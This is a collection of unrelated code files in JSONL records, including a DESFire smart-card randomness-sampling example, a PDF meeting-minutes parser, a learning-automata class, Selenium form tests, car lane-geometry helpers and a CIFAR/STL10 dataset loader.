print(name)","repo_name":"LawrenceDiao/Python-web","sub_path":"getCss.py","file_name":"getCss.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8867954200","text":"import logging\nfrom pyDESFire.readers import *\nfrom pyDESFire.pydesfire import *\nfrom pyDESFire.utils import *\n\n\ndef getRandom(card, key, keyNo, logger):\n\tlogger.debug('Authenticating')\n\tcmd = None\n\tkeyType = key.GetKeyType()\n\tif keyType == DESFireKeyType.DF_KEY_AES:\n\t\tcmd = DESFireCommand.DFEV1_INS_AUTHENTICATE_AES.value\n\t\tparams = int2hex(keyNo)\n\telif keyType == DESFireKeyType.DF_KEY_2K3DES or keyType == DESFireKeyType.DF_KEY_3K3DES:\n\t\tcmd = DESFireCommand.DFEV1_INS_AUTHENTICATE_ISO.value\n\t\tparams = int2hex(keyNo)\n\telse:\n\t\traise Exception('Invalid key type!')\n\n\n\traw_data = card.communicate(cmd,params, autorecieve = False)\n\tRndB_enc = raw_data\n\tlogger.debug( 'Random B (enc): ' + hex2hexstr(RndB_enc))\n\tkey.CiperInit()\n\tRndB = key.Decrypt(RndB_enc)\n\tlogger.debug( 'Random B (dec): ' + hex2hexstr(RndB))\n\treturn RndB\n\ndef restartSession():\n\t#### the part below is to abort the authentication and re-start the session\n\ttry:\n\t\tcard.SelectApplication(0x000000)\n\texcept DESFireCommsException as e:\n\t\tif e.status_code == DESFireStatus.ST_CommandAborted.value:\n\t\t\tpass\n\nif __name__ == '__main__':\n\tglobal logger\n\n\tlogging.basicConfig(level=logging.INFO)\n\tlogger = logging.getLogger(__name__)\n\n\tbytesCollected = 0\n\n\t###\n\t### !!!ATTENTION!!!\n\t### The key must be valid, otherwise you will be only getting garbage\n\t### as the random challenge is sent encrypted to the creader!\n\t###\n\tKEY = DESFireKey(hexstr2hex('00 00 00 00 00 00 00 00'), DESFireKeyType.DF_KEY_2K3DES)\n\tkeyNo = 0\n\n\tlogger.info('[+] Setting up reader and card')\n\treader = PCSCReader()\n\treader.connect()\n\tcard = Desfire(reader)\n\tcard.SelectApplication(0x000000)\n\n\tblocksize = len(getRandom(card, KEY, keyNo ,logger))\n\trestartSession()\n\n\tlogger.info('[+] Starting getting random challenges from card')\n\ttry:\n\t\twith open('DESFire_RND_bytes.bin', 'wb') as f:\n\t\t\twhile True:\n\t\t\t\tf.write(getRandom(card, KEY, keyNo ,logger))\n\t\t\t\tbytesCollected += blocksize\n\t\t\t\tif bytesCollected % 1024 == 0:\n\t\t\t\t\tlogger.info('[+] Collected %d bytes'%(bytesCollected,))\n\t\t\t\trestartSession()\n\texcept:\n\t\tlogger.info('[+] Stopped! Collected %d challenges' % (bytesCollected/blocksize))\n\t\t\t","repo_name":"skelsec/pydesfire","sub_path":"examples/RandomnessTest.py","file_name":"RandomnessTest.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"31"} +{"seq_id":"32382503119","text":"import PyPDF2\nimport datetime as dt\nimport pandas as pd\nimport re\nfrom datetime import datetime\n\nfrom common.utils import replace_chars\n\n\ndef parse_pdf(pdf_path):\n \"\"\"Parses the pdf of the minutes from a BOE meeting and cleans the text\n\n Args:\n pdf_path (pathlib.Path): The path to the pdf to parse\n Returns:\n minutes (Minutes): An instance of the Minutes class\n \"\"\"\n try:\n minutes = Minutes(pdf_path)\n minutes.parse_and_clean_pages()\n except (ValueError, FileNotFoundError) as e:\n print(f\"The following error occurred parsing file '{pdf_path}': {e}\")\n raise e\n return minutes\n\n\ndef store_pdf_text_to_df(path):\n \"\"\"Finds .pdf files stored at the given url and stores them within the\n repository for later analysis.\n\n Args:\n base_url (str): The main url for the Comptroller of Baltimore's webiste\n minutes_url (str): The url where the function can find links to pages of\n pdf files organized by year\n Returns:\n None: This is a void function.\n \"\"\"\n pdf_paths = list(path.rglob(\"*.pdf\"))\n text_df = pd.DataFrame(columns=[\"date\", \"page_number\", \"minutes\"])\n for pdf_path in pdf_paths:\n # print(f\"Parsing file: {pdf_path.name}\")\n minutes = \"\"\n pdfFileObj = open(pdf_path, \"rb\")\n try:\n pdfReader = PyPDF2.PdfFileReader(pdfFileObj, strict=False)\n except ValueError:\n print(f\"An error occurred reading file {pdf_path}\")\n for page in pdfReader.pages:\n minutes += page.extractText().strip()\n\n date_string = pdf_path.stem\n date = datetime.strptime(date_string, \"%Y_%m_%d\").date()\n page_number = re.findall(r\"(^[0-9]+)\", minutes)\n if page_number:\n page_number = page_number[0]\n else:\n page_number = \"\"\n try:\n row = {\"date\": date, \"page_number\": page_number, \"minutes\": minutes.strip()}\n text_df = text_df.append(row, ignore_index=True)\n except ValueError:\n print(f\"No date found for file {pdf_path}\")\n print(f\"Wrote {len(text_df)} rows to the table of minutes.\")\n return text_df\n\n\nclass Minutes:\n \"\"\"Creates an object that represents the minutes for an individual BOE\n meeting. This object contains the methods used to parse the pdf and\n stores the outputs of that parsing as a set of attributes\"\"\"\n\n def __init__(self, pdf_path):\n\n self.pdf_path = pdf_path\n self.reader = self.read_pdf(pdf_path)\n self.page_count = self.reader.getNumPages()\n self.raw_text = None\n self.clean_text = None\n self.date = self.parse_date(pdf_path)\n self.meeting_date = self.date.strftime(\"%Y-%m-%d\")\n\n def read_pdf(self, pdf_path):\n \"\"\"Initializes a PdfFileReader instance from the PyPDF2 library that\n will be called in subsequent methods and attributes\n\n Args:\n pdf_path (pathlib.Path): The path to the pdf file to read\n Returns:\n reader (PyPDF2.PdfFileReader): Returns an instance of PdfFileReader\n that will be stored in self.reader\n \"\"\"\n file = open(pdf_path, \"rb\")\n reader = PyPDF2.PdfFileReader(file, strict=False)\n return reader\n\n def parse_date(self, pdf_path):\n \"\"\"Parses a datetime object from the path to the pdf file for use\n in self.meeting_date and self.year\n\n Args:\n pdf_path (pathlib.Path): Path to pdf ending in */YYYY_MM_DD.pdf\n Returns:\n date (datetime.datetime): Returns a datetime object of the\n date parsed from the pdf_path that will be stored in self.date\n \"\"\"\n date_str = pdf_path.stem\n date = dt.datetime.strptime(date_str, \"%Y_%m_%d\")\n return date\n\n def parse_and_clean_pages(self):\n \"\"\"Extracts text from pdf pages and stores it in self.raw_text then\n cleans the parsed text and stores the result in self.clean_text\n\n Args:\n self: Uses the self.reader object created by self.read_pdf()\n Returns:\n N/A: Void function\n \"\"\"\n\n # extract the raw text\n text_raw = \"\"\n for page in self.reader.pages:\n text_raw += page.extractText().strip()\n self.raw_text = text_raw\n\n # clean the raw text\n clean_text = \" \".join(self.raw_text.split()) # remove double spaces\n clean_text = replace_chars(clean_text)\n self.clean_text = clean_text\n","repo_name":"department-of-general-services/BOE_tabulator","sub_path":"common/parse_utils.py","file_name":"parse_utils.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"42242060509","text":"from .task import Task\n\n\nclass TasksTerm(Task):\n\n def __init__(self, task_id, term_id, level, database):\n self.task_id = task_id\n self.term_id = term_id\n self.level = level\n self.database = database\n term = self.database.terms[term_id]\n self.question = \"Дайте определение термину - \" + term.term\n\n def score(self, answer):\n return True\n","repo_name":"sofialyubina/history","sub_path":"history/tasks/tasks_terms.py","file_name":"tasks_terms.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74738557207","text":"import sys\nimport os\nsys.path.insert(0, os.path.abspath(\n os.path.join(os.path.dirname(__file__), '..')))\n\nfrom variable_action_set import VariableActionSet # NOQA\n\n\nclass AsymmetricArm:\n def __init__(self, state_number, reward_rate, penalty_rate, max_state_number, arm_manager):\n self.__fsla_state_number = state_number\n self.__fsla_depth_status = 1\n self.__fsla_state_transition_counter = 0\n self.__fsla_depth_transition_counter = 0\n self.__fsla_min_state = 1\n self.__fsla_max_state = max_state_number\n\n self.__reward_rate = reward_rate\n self.__penalty_rate = penalty_rate\n\n ''' \n grow --> Action 0\n stop --> Action 1\n shrink --> Action 2\n '''\n self.__variable_action_set_action_number = 3\n self.__variable_action_set = VariableActionSet(\n self.__variable_action_set_action_number, self.__reward_rate, self.__penalty_rate)\n\n self.__arm_manager = arm_manager\n self.__first_action_switching = True\n\n # *****************************************************************************************\n def set_depth_status(self, value):\n self.__fsla_depth_status = value\n\n # *****************************************************************************************\n def set_state_transition_counter(self, value):\n self.__fsla_state_transition_counter = value\n\n # *****************************************************************************************\n def set_depth_transition_counter(self, value):\n self.__fsla_depth_transition_counter = value\n\n # *****************************************************************************************\n @property\n def state_number(self):\n return self.__fsla_state_number\n\n # *****************************************************************************************\n def receive_environment_signal(self, beta):\n if beta == 1:\n return self.__punish_automata()\n else:\n return self.__suprise_automata()\n\n # *****************************************************************************************\n def __suprise_automata(self):\n if self.__fsla_depth_status < self.__fsla_state_number:\n self.__fsla_depth_status += 1\n\n self.__fsla_state_transition_counter += 1\n\n if self.__is_fsla_on_depth():\n self.__fsla_depth_transition_counter += 1\n\n return False\n\n # *****************************************************************************************\n def __punish_automata(self):\n if self.__fsla_depth_status > 1:\n self.__fsla_depth_status -= 1\n\n self.__fsla_state_transition_counter += 1\n\n return False\n\n else:\n if not self.__first_action_switching:\n self.__evaluate_variable_action_set()\n else:\n self.__first_action_switching = False\n\n self.__update_fsla_depth()\n\n self.__fsla_depth_status = 1\n\n self.__fsla_state_transition_counter = 1\n self.__fsla_depth_transition_counter = 0\n\n self.__arm_manager.arm_switching_notification()\n\n return True\n\n # *****************************************************************************************\n def __is_fsla_on_depth(self):\n return self.__fsla_depth_status == self.__fsla_state_number\n\n # *****************************************************************************************\n def __evaluate_variable_action_set(self):\n variable_action_set_beta = 1 - (self.__fsla_depth_transition_counter / self.__fsla_state_transition_counter) # NOQA\n\n self.__variable_action_set.receive_environment_signal(\n variable_action_set_beta)\n\n return\n\n # *****************************************************************************************\n def __update_fsla_depth(self):\n new_depth_decision = 0\n\n if self.__fsla_state_number == self.__fsla_max_state:\n new_depth_decision = self.__variable_action_set.choose_action([1, 2]) # NOQA\n elif self.__fsla_state_number == self.__fsla_min_state:\n new_depth_decision = self.__variable_action_set.choose_action([0, 1]) # NOQA\n else:\n new_depth_decision = self.__variable_action_set.choose_action([0, 1, 2]) # NOQA\n\n if new_depth_decision == 0:\n self.__fsla_state_number += 1 # Grow\n # elif new_depth_decision == 1:\n # # Do Nothing --> Stop\n elif new_depth_decision == 2:\n self.__fsla_state_number -= 1 # Shrink\n\n return\n","repo_name":"AliNikhalat/SelfishMining","sub_path":"nik_sm/learning_automata/asymmetric/asymmetric_arm.py","file_name":"asymmetric_arm.py","file_ext":"py","file_size_in_byte":4669,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"22130999206","text":"import socket, struct\n#from netifaces import *\n\n#def get_local_ip():\n# for ifaceName in interfaces():\n# addresses = [i['addr'] for i in ifaddresses(ifaceName).setdefault(AF_INET, [{'addr':'No IP addr'}] )]\n# if addresses[0] != \"127.0.0.1\" or \"No IP addr\":\n# return addresses[0]\n# else:\n# pass\n\ndef get_default_gateway_linux():\n \"\"\"Read the default gateway directly from /proc.\"\"\"\n with open(\"/proc/net/route\") as fh:\n for line in fh:\n fields = line.strip().split()\n if fields[1] != '00000000' or not int(fields[3], 16) & 2:\n # If not default route or not RTF_GATEWAY, skip it\n continue\n\n return socket.inet_ntoa(struct.pack(\" 0:\n\t\tfor cnt in cnts:\n\t\t\t# Sorts from largest to smallest\n\t\t\t# cntsSorted = sorted(cnts, key = lambda x: cv2.contourArea(x))\n\t\t\t# cv2.contourArea(cnt)\n\t\t\t# Draw the contour over image\n\t\t\tarea = cv2.contourArea(cnts)\n\t\t\n\t\t# Draw a minimum area rectangle around the contour\n\t\t\trect1 = np.int32(cv2.boxPoints(cv2.minAreaRect(cnts)))\n\t\t\n\t\t# Draw the contour over image\n\t\t\tcv2.drawContours(img, [rect1], -1, (255, 0, 0), 2)\"\"\"\n\n\t\n\n\tcv2.imshow('original', default)\n\tcv2.imshow('image', res)\n\n# When everything done, release the capture\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"team1389/2019-vision","sub_path":"Pi/trackbars.py","file_name":"trackbars.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"42045289782","text":"import os, sys\r\nsys.path.append(os.getcwd())\r\nfrom selenium.webdriver.common.by import By\r\nfrom base.base_action import BaseAction\r\nfrom base.base_yaml import yaml_reader\r\nimport re\r\n\r\nyaml = yaml_reader(\"webform_input\")\r\ndata_yaml = yaml_reader(\"webform_data\")\r\n\r\n\r\nclass WebformInput(BaseAction):\r\n\r\n def __init__(self, driver):\r\n BaseAction.__init__(self, driver)\r\n\r\n def click_button(self, item):\r\n item_ele = yaml[\"button\"][item][\"attribute\"]\r\n item_position = (By.XPATH, item_ele)\r\n self.click(item_position)\r\n\r\n def check_placeholder(self, item):\r\n item_ele = yaml[\"input_box\"][item][\"attribute\"]\r\n item_position = (By.XPATH, item_ele)\r\n item_placeholder = yaml[\"input_box\"][item][\"placeholder\"]\r\n assert self.get_placeholder(item_position) == item_placeholder\r\n\r\n def check_maxlength(self, item):\r\n item_ele = yaml[\"input_box\"][item][\"attribute\"]\r\n item_func = re.findall(r\"id='(.*)'\", item_ele)[0]\r\n item_position = (\"Id\", item_func)\r\n item_maxlength = yaml[\"input_box\"][item][\"maxlength\"]\r\n assert int(self.get_attribute(item_position, \"maxlength\")) == item_maxlength\r\n\r\n def check_empty_message(self, item):\r\n item_ele = yaml[\"input_box\"][item][\"attribute\"]\r\n item_func = re.findall(r\"id='(.*)'\", item_ele)[0]\r\n item_position = (\"Id\", item_func)\r\n item_error_message = yaml[\"input_box\"][item][\"error_message\"]\r\n if item_error_message == \"None\":\r\n assert self.get_attribute(item_position, \"data-webform-required-error\") is None\r\n else:\r\n assert self.get_attribute(item_position, \"data-webform-required-error\") == item_error_message\r\n\r\n def check_type_message(self, item):\r\n item_ele = yaml[\"input_box\"][item][\"attribute\"]\r\n item_func = re.findall(r\"id='(.*)'\", item_ele)[0]\r\n item_position = (\"Id\", item_func)\r\n item_error_message = yaml[\"input_box\"][item][\"error_message\"]\r\n if item_error_message == \"None\":\r\n assert self.get_attribute(item_position, \"data-webform-pattern-error\") is None\r\n else:\r\n assert self.get_attribute(item_position, \"data-webform-pattern-error\") == item_error_message\r\n\r\n def fill_text(self, item, value):\r\n item_ele = yaml[\"input_box\"][item][\"attribute\"]\r\n item_position = (By.XPATH, item_ele)\r\n self.input_text(item_position, value)\r\n","repo_name":"YangcongOvO/test","sub_path":"page/webform_input.py","file_name":"webform_input.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24297541346","text":"import numpy as np\nimport math\n\n#tim cac cap duong thang gan nhu song song o gan nhau 1 khoang khong qua thresholdDistance\ndef suit_lines (leftPoints,rightPoints,thresholdParallel=2, thresholdDistance=16):\n\tret = None\n\tif leftPoints is None or rightPoints is None:\n\t\treturn None\n\tfor iLeft in range(leftPoints.shape[0]-1):\n\t\tfor iRight in range(rightPoints.shape[0]-1):\n\t\t\tif (abs((leftPoints[iLeft][0]-leftPoints[iLeft+1][0]) - (rightPoints[iRight][0]-rightPoints[iRight+1][0])) <= thresholdParallel and #|(x1-x2) - (x3-x4)| <= thresholdParallel => song song\n\t\t\t ((abs(leftPoints[iLeft][1] - rightPoints[iRight][1]) <= thresholdDistance and\n\t\t\t\tabs(leftPoints[iLeft][1] - rightPoints[iRight+1][1]) <= thresholdDistance) or\n\t\t\t\t(abs(leftPoints[iLeft+1][1] - rightPoints[iRight][1]) <= thresholdDistance and\n\t\t\t\tabs(leftPoints[iLeft+1][1] - rightPoints[iRight+1][1]) <= thresholdDistance))):\n\t\t\t\tif ret is None:\n\t\t\t\t\tret = np.array([[[[leftPoints[iLeft][0],leftPoints[iLeft][1]],[leftPoints[iLeft+1][0],leftPoints[iLeft+1][1]]],[[rightPoints[iRight][0],rightPoints[iRight][1]],[rightPoints[iRight+1][0],rightPoints[iRight+1][1]]]]])\n\t\t\t\telse:\n\t\t\t\t\ttemp = np.array([[[[leftPoints[iLeft][0],leftPoints[iLeft][1]],[leftPoints[iLeft+1][0],leftPoints[iLeft+1][1]]],[[rightPoints[iRight][0],rightPoints[iRight][1]],[rightPoints[iRight+1][0],rightPoints[iRight+1][1]]]]])\n\t\t\t\t\tret = np.append(ret,temp,axis=0)\n\treturn ret\n\ndef list_mid_points (suitPoint):\n\tif suitPoint is None:\n\t\treturn None\n\tmidPoints=None\n\tfor iSuitPoint in range(suitPoint.shape[0]):\n\t\tfirstMidPoint=None\n\t\tsecondMidPoint=None\n\t\t#M1\n\t\tx1=suitPoint[iSuitPoint][0][0][0]\n\t\ty1=suitPoint[iSuitPoint][0][0][1]\n\t\t#M2\n\t\tx2=suitPoint[iSuitPoint][0][1][0]\n\t\ty2=suitPoint[iSuitPoint][0][1][1]\n\t\t#M3\n\t\tx3=suitPoint[iSuitPoint][1][0][0]\n\t\ty3=suitPoint[iSuitPoint][1][0][1]\n\t\t#M4\n\t\tx4=suitPoint[iSuitPoint][1][1][0]\n\t\ty4=suitPoint[iSuitPoint][1][1][1]\n\n\t\tfirstMidPoint = np.array([(x1+x3)/2,(y1+y3)/2])\n\t\tsecondMidPoint = np.array([(x2+x4)/2,(y2+y4)/2])\n\n\t\tif midPoints is None:\n\t\t\tmidPoints=np.array([[(firstMidPoint[0]+secondMidPoint[0])/2,(firstMidPoint[1]+secondMidPoint[1])/2]])\n\t\telse:\n\t\t\ttemp=np.array([[(firstMidPoint[0]+secondMidPoint[0])/2,(firstMidPoint[1]+secondMidPoint[1])/2]])\n\t\t\tmidPoints=np.append(midPoints,temp,axis=0)\n\treturn midPoints\n\ndef average_mid_point (midPoints):\n\tif midPoints is None:\n\t\treturn None\n\tTotalX=0\n\tTotalY=0\n\tfor iMidPoints in range(midPoints.shape[0]):\n\t\tTotalX += midPoints[iMidPoints][0]\n\t\tTotalY += midPoints[iMidPoints][1]\n\treturn np.array([TotalX/midPoints.shape[0],TotalY/midPoints.shape[0]])\n\ndef caculate_angle_speed (ImgShapeX,ImgShapeY,midPoint,ratioAngle,maxSpeed,ratioSpeed):\n\tAB=abs(ImgShapeY-midPoint[1])\n\tAC=abs(ImgShapeX/2 - midPoint[0])\n\tBC=math.sqrt(float(AB*AB) + AC*AC)\n\tangle=0\n\tif midPoint[0] > ImgShapeX/2:\n\t\tangle=1 #be ben phai\n\telif midPoint[0] < ImgShapeX/2:\n\t\tangle=-1 #be ben trai\n\telse:\n\t\tangle=0\n\t\tspeed=maxSpeed*ratioSpeed\n\t\treturn angle,speed\n\tangle = angle * np.arctan(float(AC)/AB)/np.pi*180 * ratioAngle * (float(midPoint[1])/ImgShapeY)\n\tif abs(angle) < 1:\n\t\tspeed=maxSpeed * ratioSpeed\n\telif abs(angle) < 2:\n\t\tspeed=maxSpeed * 0.98 * ratioSpeed\n\telif abs(angle) < 3:\n\t\tspeed=maxSpeed * 0.95 * ratioSpeed\n\telif abs(angle) < 4:\n\t\tspeed=maxSpeed * 0.92 * ratioSpeed\n\telif abs(angle) < 5:\n\t\tspeed=maxSpeed * 0.9 * ratioSpeed\n\telif abs(angle) < 6:\n\t\tspeed=maxSpeed * 0.88 * ratioSpeed\n\telif abs(angle) < 10:\n\t\tspeed=maxSpeed * 0.8 * ratioSpeed\n\telse:\n\t\tspeed=maxSpeed * 0.5 * ratioSpeed\n\treturn angle,speed\n\n#kiem tra diem co nam trong tam giac hay ko\ndef point_in_triangle (pt, v1, v2, v3):\n\tb1=sign(pt,v1,v2)<0\n\tb2=sign(pt,v2,v3)<0\n\tb3=sign(pt,v3,v1)<0\n\n\treturn ((b1==b2) and (b2==b3))\n\ndef sign (p1, p2, p3):\n\t#(p1.x - p3.x) * (p2.y - p3.y) - (p2.x - p3.x) * (p1.y - p3.y)\n\treturn (float((p1['x']-p3['x'])*(p2['y']-p3['y'])) - float((p2['x']-p3['x'])*(p1['y']-p3['y'])))\n\n#return 0: nam ben trai\n#return 1: nam o giua\n#return 2: nam ben phai\n#return 3: khong nam trong vung roi\n\n\n# L *A*********************B* M\n# * * * *\n# * * * *\n# ** **\n# F * * C\n# * *\n# E ************************* D\n\n\n# G ******** H\n# * *\n# I ******** K\ndef rectangle_in_roi (rec):\n\t#rec['topleft']['x']\n\t#rec['topleft']['y']\n\t#rec['bottomright']['x']\n\t#rec['bottomright']['y']\n\n\t#rectangle\n\tG={\n\t\t'x':rec['topleft']['x'],\n\t\t'y':rec['topleft']['y']\n\t}\n\tH={\n\t\t'x':rec['bottomright']['x'],\n\t\t'y':rec['topleft']['y']\n\t}\n\tK={\n\t\t'x':rec['bottomright']['x'],\n\t\t'y':rec['bottomright']['y']\n\t}\n\tI={\n\t\t'x':rec['topleft']['x'],\n\t\t'y':rec['bottomright']['y']\n\t}\n\n\t#ROI\n\tA={\n\t\t'x':50,\n\t\t'y':70\n\t}\n\tB={\n\t\t'x':270,\n\t\t'y':70\n\t}\n\tC={\n\t\t'x':320,\n\t\t'y':160\n\t}\n\tD={\n\t\t'x':320,\n\t\t'y':240\n\t}\n\tE={\n\t\t'x':0,\n\t\t'y':240\n\t}\n\tF={\n\t\t'x':0,\n\t\t'y':160\n\t}\n\tL={\n\t\t'x':0,\n\t\t'y':100\n\t}\n\tM={\n\t\t'x':320,\n\t\t'y':100\n\t}\n\n\t#vung tren\n\tif I['y'] < A['y']:\n\t\treturn 3\n\t#vung nam trong tam giac ngoai\n\tif point_in_triangle (I,B,M,C):\n\t\treturn 3\n\tif point_in_triangle (K,L,A,F):\n\t\treturn 3\n\t#xac dinh diem x giua hinh chu nhat\n\tXmid=abs(int((H['x']-G['x'])/2))+G['x']\n\t#neu hinh chu nhat nam trong vung mid 320/2=160\n\tif (abs(160-Xmid) <= 10):\n\t\treturn 1\n\t#nam ben trai\n\tif (160-Xmid) > 0:\n\t\treturn 0\n\t#nam ben phai\n\tif (160-Xmid) < 0:\n\t\treturn 2\n\n","repo_name":"wathui99/autonomous-car","sub_path":"geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":5363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40788016147","text":"'''\nSUM of all absolute differences from one species to the next. e.g. If the table looked like this:\n\nDensity: 1, 4, 6, N/A, 6, 3, 10\nAbs Dif: 3, 2, 0, 3, 7 \nSum of abs dif = 15\n\nWhere N/A is a missing value - here you just skip that position and go to the next.\n'''\n\nimport numpy, pandas\nfrom pandas import DataFrame\n\n#Input is a csv file, where header row is gene, species1, species2, ...\nINPUT = 'c:/holt/polyq/data/out_pandas.csv'\nOUTPUT = 'c:/holt/polyq/data/out_pandas_diffmetric.csv'\n\ndf = pandas.read_csv(INPUT, index_col=0)\n\nresult = DataFrame({'abs_diff' : [numpy.sum(numpy.abs(numpy.diff(row.dropna().values)))\n for rowIndex, row in df.iterrows()]}, index=df.index)\n\nresult.to_csv(OUTPUT)\n","repo_name":"hz7/sequence-analysis","sub_path":"polyq/abs_diff_metric.py","file_name":"abs_diff_metric.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"73001586649","text":"class Solution(object):\n def nextGreaterElements(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n n = len(nums)\n res, stack = [-1] * n, []\n for i in range(2 * n - 1, -1, -1):\n while stack and stack[-1] <= nums[i % n]:\n stack.pop()\n res[i % n] = -1 if not stack else stack[-1]\n stack.append(nums[i % n])\n return res\n\n\nnums = [1, 2, 3, 4, 3]\na = Solution()\nprint(a.nextGreaterElements(nums))\n","repo_name":"lucifer726/leetcode_","sub_path":"下一个更大元素 II.py","file_name":"下一个更大元素 II.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10805970170","text":"#!/usr/bin/python\nimport os\nimport sys\n\nPROJECT_ROOT = os.path.dirname(os.path.abspath(__file__))\nsys.path.insert(0, PROJECT_ROOT)\n\n# Activates the virtualenv environment\nactivate_this = PROJECT_ROOT + '/.env/bin/activate_this.py'\nexecfile(activate_this, dict(__file__=activate_this))\n\n# Preserve the order of imports here!\nfrom app import create_app\nfrom app.resources import RestApiView\n\n# WSGI needs to find 'application'\napplication = create_app()\n\n# Register the resources below\nRestApiView.register(application)\n\nif __name__ == '__main__':\n application.run(\n host=application.config['HOST'],\n )\n","repo_name":"thomasbhatia/kigata","sub_path":"wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"29672072661","text":"# 가장 가까운 값 찾기\n#\n# 오름차순으로 정렬된 nn개의 숫자가 주어지고, 정수 mm이 주어질 때, nn개의 숫자 중에서 mm과 가장 가까운 숫자를 출력하는 프로그램을 작성하시오.\n# 만약 가장 가까운 숫자가 2개 이상이라면, 그 중 가장 작은 숫자를 출력한다.\n#\n# 입력\n# 첫째 줄에 nn개의 숫자가 주어진다. (1 \\leq n \\leq 100,0001≤n≤100,000) 둘째 줄에 숫자 mm이 주어진다.\n#\n# 출력\n# nn개의 숫자 중에서 mm과 가장 가까운 숫자를 출력한다. 만약 가장 가까운 숫자가 2개 이상일 경우, 그 중 가장 작은 값을 출력한다.\n#\n# 입력 예시 1\n# 1 4 6 7 10 14 16\n# 8\n#\n# 출력 예시 1\n# 7\n#\n# 입력 예시 2\n# 1 4 6 7 10 14 16\n# 12\n#\n# 출력 예시 2\n# 10\n\nimport sys\nimport math\n\ndef getNearestInternal(data, m) :\n\n '''\n n개의 숫자가 list로 주어지고, 숫자 m이 주어질 때,\n m보다 작거나 같은 숫자 중 최댓값,\n m보다 큰 숫자 중 최솟값을 반환하는 함수\n\n [1, 2, 6, 8, 10, 14, 17]\n '''\n\n if len(data) == 1 :\n if data[0] <= m :\n return (data[0], math.inf)\n else :\n return (-math.inf,data[0])\n elif len(data) == 2:\n if data[1] <= m :\n return (data[1], math.inf)\n elif data[0] <= m and m < data[1] :\n return (data[0], data[1])\n else :\n return (-math.inf, data[0])\n\n mid = len(data) // 2\n\n if data[mid] <= m :\n return getNearestInternal(data[mid:], m)\n else :\n return getNearestInternal(data[:mid+1], m)\n\ndef getNearest(data, m) :\n '''\n n개의 숫자가 list로 주어지고, 숫자 m이 주어질 때, n개의 숫자 중에서 m과 가장 가까운 숫자를 반환하는 함수를 작성하세요.\n '''\n\n value = getNearestInternal(data, m)\n\n # value[0] , m , value[1]\n if m - value[0] <= value[1] - m :\n return value[0]\n else :\n return value[1]\n\ndef main():\n '''\n 이 부분은 수정하지 마세요.\n '''\n\n data = [int(x) for x in input().split()]\n m = int(input())\n\n print(getNearest(data, m))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"InSeok9068/Algorithm","sub_path":"3주차/예제1.py","file_name":"예제1.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5481042455","text":"'''def Par(N):\n if(N%2==0):\n return(True)\n\nNum=[17,23,56,67,437,256,775,42]\nprint(list(filter(Par,Num)))'''\n\n'''Num=[17,23,56,67,437,256,775,42]\nprint(list(filter(lambda N:N%2==0,Num)))'''\n\nclass Empleado:\n def __init__(self,N,C,S):\n self.Nombre=N\n self.Cargo=C\n self.Salario=S\n def __str__(self):\n return \"{} que trabaja como {} tiene un salario de ${}\".format(self.Nombre,self.Cargo,self.Salario)\n\nListaEmpleados=[\nEmpleado(\"Ivan\",\"Dirrector\",50000),\nEmpleado(\"Jaider\",\"CEO\",80000),\nEmpleado(\"Mile\",\"Dirrectora\",50000),\nEmpleado(\"Ramon\",\"Empleado\",20000),\n]\nSalariosAltos=filter(lambda empleado:empleado.Salario>49000,ListaEmpleados)\nfor i in SalariosAltos:\n print(i)","repo_name":"ivanveraj/Python","sub_path":"PycharmProjects/UltimosConceptos/FILTER.py","file_name":"FILTER.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22394694521","text":"import argparse\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.utils.data import ConcatDataset, DataLoader\nfrom torchvision.datasets import CIFAR10, STL10\n\n\ndef get_dataset(args):\n \"\"\"\n Returns vanilla CIFAR10/STL10 dataset (modified with train test splitting)\n \"\"\"\n transform = transforms.Compose(\n [\n # transforms.Resize(32 if args.dataset == \"cifar10\" else 64),\n transforms.Resize((224, 224)),\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]\n )\n\n if args.dataset == \"cifar10\":\n train_dataset = CIFAR10(\n args.data_path,\n train=True,\n download=True,\n transform=transform,\n )\n test_dataset = CIFAR10(\n args.data_path,\n train=False,\n download=True,\n transform=transform,\n )\n\n elif args.dataset == \"stl10\":\n # for STL10 use both train and test sets due to its small size\n train_dataset = STL10(\n args.data_path,\n split=\"train\",\n download=True,\n transform=transform,\n )\n test_dataset = STL10(\n args.data_path,\n split=\"test\",\n download=True,\n transform=transform,\n )\n dataset = ConcatDataset([train_dataset, 